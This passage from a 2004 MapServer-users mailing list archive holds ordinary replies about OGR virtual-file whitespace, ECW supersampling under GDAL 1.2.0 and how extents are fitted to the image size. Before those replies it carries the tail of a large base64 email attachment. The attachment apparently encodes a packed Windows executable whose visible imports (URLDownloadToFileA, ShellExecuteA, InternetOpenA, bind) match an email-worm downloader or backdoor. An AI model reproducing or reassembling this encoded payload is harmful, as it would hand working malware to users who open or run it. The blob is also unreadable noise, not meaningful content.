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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAgCmbp4ltD6QcjW5I jTEgK4oePcUkUDpKfHtKi7RUkZ56fq1Wdy4Uf4FaNQtEc6PBbVlbcxqAH7aAZGNUgD4tH1GU bI3HrrOsDzlUMztebrYvtjEvWAmGxaJmMnpjF25yACYtNxKjGR09lyxtcyJRIAGYxpQhnpNA OMcwZVZJsAqTXsWTeYeGKZm2vFAXgVyeXlQOt2N/nTR0P3NjgIZHTClZhsegeCZOWoxhdF6w xhuGmyKhwbsadBuvUbiWBwUoOaG8HolCHopXMlqWJZ9WfmIWjhRJrrfArw+OIoQrcJCRMTyT Pkh5WGoufx5AhXddvhJrMX6ZLEFmnTa2kHRwPQlfjp1Fmm7Ely1DviiLtCIElnxCXTqixQWy RKFaJagZmGsocBKdwgdJwiyvskd/tXepT7A0Ao5xtBc3D5m+uKOBSBBiHG1MaasetRdghSd1 XiqCAUOFhgptlXtoe664gnmcB2yQeIiCtixlxaJ+HD4gUGg7samvKE5niLafEqCApjalPHaL i1WCvWFcEAhQrVtKxo50OAkoxZBpnZyCQicxD4EDxixMPzA8Dxsdn6OQSgwThQBeOT2UUEc7 DpBUEI/EW7OBZw1hW5qZXXzDKSSFol4MJ14knbaQs1iypia7RkcajZMsRWiIB8EzbagwOzVm kJoWHR5bBGWOXnK9O0aXlS2xTYEHxRMqTDRfAsA2dkmSDIoBqlyduTO/uyefJwAMVWXElnin c75fVFwITzAvSENCRr5yt5NaOxd1nJypwVO9iG0duTq1mLfGnKM+kayPqkOwkAhKisAuI1AD dIWSWj40RgWoXIS5Ehm1BVFDDMJUu02jwhBnCIewFWZbdVmzFZx/WDqioyeBvEJ0B34AtCAn OZQLhb26tLq0b5FIpkhhL209dmJ+sxm8SZjENjoevkMZC5S6xR0sxBacERm7XqtcwT1PahsG SodCxx3Hc4g4hDyOmiw2VBFkA35VaGi7lnsgjWO+gMY4P7YzSiOPegkxPWo6NpoSYT4aOzsQ GSFaUWUYM5FWqwiGDnYKI30elzwQY7MRxKI+EDONVmOQJA5BmF4tO2eznkgKHJKdg11DXxBb erV4tTUSQZEvvxtlLG5yYbWOxYGmpkRuIKGcqIkDgn1KoZBFR14SHj4gxqyQihmHBZF4WyEC AQibsJ9TgbOIsV1Kb5FTeD9sN8ceoStlKH1DcZCxCxSyIHNUbnivor83OU4/CZy6ocNpUaSH sLkJJoHGBR5AXz0tPkuVp1JUgGt9i4soYkYgao7BdmN9Ysd2wkM2J4wydXmXT3e2U0g8Gkpi bHmKe5B2Jg15VA3BDh8CGiACsK4BCZOeeVeBgnSBJYq1Bj8csHCkS16ixGirS3BQrz9GeqGg hy9fcCsAsWZHj7F3kYoAvCAHkX/HUrekZmeEG31mrbSAmMOhIAlenUUgbkA8HAU+KHZvjLGP mWA= ----------gvhuvmlcqkdssttmmttt-- From warmerdam at pobox.com Thu Jun 24 06:46:16 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 24 Jun 2004 09:46:16 -0400 Subject: [Mapserver-users] OGR ovf access problem In-Reply-To: <002e01c4598f$b406b3b0$7001a8c0@organizaszgy9p> References: <002e01c4598f$b406b3b0$7001a8c0@organizaszgy9p> Message-ID: <40DADB28.5000605@pobox.com> aaron wrote: > Your ovf file probably has newline or empty characters, > > ------- start of ovf file ------- > -> there should be no spacing here > <... > > ...> > > Ty this, it worked for me... > > ------- start of ovf file ------- > <... > > ...> Aaron, Exactly right. In fact the first thing the virtual file reader does is check if the beginning 18 characters of the file match "". If not, no attempt is made to read the file as a virtual file. So, no extra white space, lines or anything like that is allowed. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Thu Jun 24 06:57:58 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 24 Jun 2004 09:57:58 -0400 Subject: [Mapserver-users] ECW not showing below certain scale In-Reply-To: References: Message-ID: <40DADDE6.2080009@pobox.com> Delfos, Jacob wrote: > Hi All, > > I've been running into a little problem with mapserver 4.2, which I was > also experiencing in Chameleon 1.99; when I zoom in quite far on the map > (holding an ecw image), the map doesn't show up. It keeps trying to > load, but nothing comes, suggesting it got stuck somewhere. CPU activity > is initially at maximum for a few seconds (as normal when loading the > map) but then drops while the map doesn't show (I'm loading the map in > the browser on the server itself). The mapserv process won't allow > itself to get killed either. > > If I simply replace my mapserv.exe file with one of version 4.0, the > problem is gone. Of course the map takes quite a few seconds to show, > which is normal when zooming close on an ECW, but it does show. > > I've tried this quite a few times in different browsers, but the map > never shows at that scale when the ECW is in there. I have tried > different mapfiles with different ECW's as well. Has the mechanism to > display the ECW changed? It seems that as soon as I reach a resolution > where I go beyond the ECW resolution (1pixel:1pixel) it dies. Jacob, I was able to reproduce a problem with ECW supersampling when assertions are turned on in GDAL 1.2.0. I have just issued a GDAL 1.2.1 with this issue fixed, and suggested to Assefa that he upgrade to that as time permits. I am not absolutely positive if that is your problem or not. I suspect you are seeing differences between MapServer 4.0 and 4.2 because MapServer 4.2 tries to use "dataset" level io calls when available. This allows reading red, green and blue in one pass against ECW for instance, resulting in better performance. However, it uses different code paths which may have different issues. So ... if and when new binaries are available with GDAL 1.2.1 I would suggest you try MapServer 4.2 again. In the meantime you could just set an appropriate MINSCALE so the ECW would stop rendering when supersampled, or switch back to the build that works. Finally, I will once again strongly suggest that folks running into problems like this try and reproduce it at the commandline with shp2img and appropriate extent and debug options. This often results in much more meaningful error messages than you get on in a web application. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From j.l.h.hartmann at uva.nl Thu Jun 24 08:15:21 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Thu, 24 Jun 2004 17:15:21 +0200 Subject: [Mapserver-users] Cartographic question In-Reply-To: <4B1A1EC0790F054193453C48725D43185D7A37@MSGBE1V1.seat.it> References: <4B1A1EC0790F054193453C48725D43185D7A37@MSGBE1V1.seat.it> Message-ID: <40DAF009.8030709@uva.nl> Ballini Yvain wrote: > I would like to know if mapserver redefines the extent parameter after > that it has been passed in the url. Yvain, I *think* MapServer does the following: given an extent of x1,y2,x2,y2 and an image size of wi,he: if the geographic extent has the same proportion as the image size: (x2-x1) / (y2 - y1) = wi / he then an image is returned with the requested extent. If the proprortions of geographic and image extent are different, then MapServer scales the extent without distortion to fit completely within the image. In that case, along one of the axes some empty room will be left in the image. MapServer then extends the geographic extent on that axis on both sides, so as to fill up the image completely. 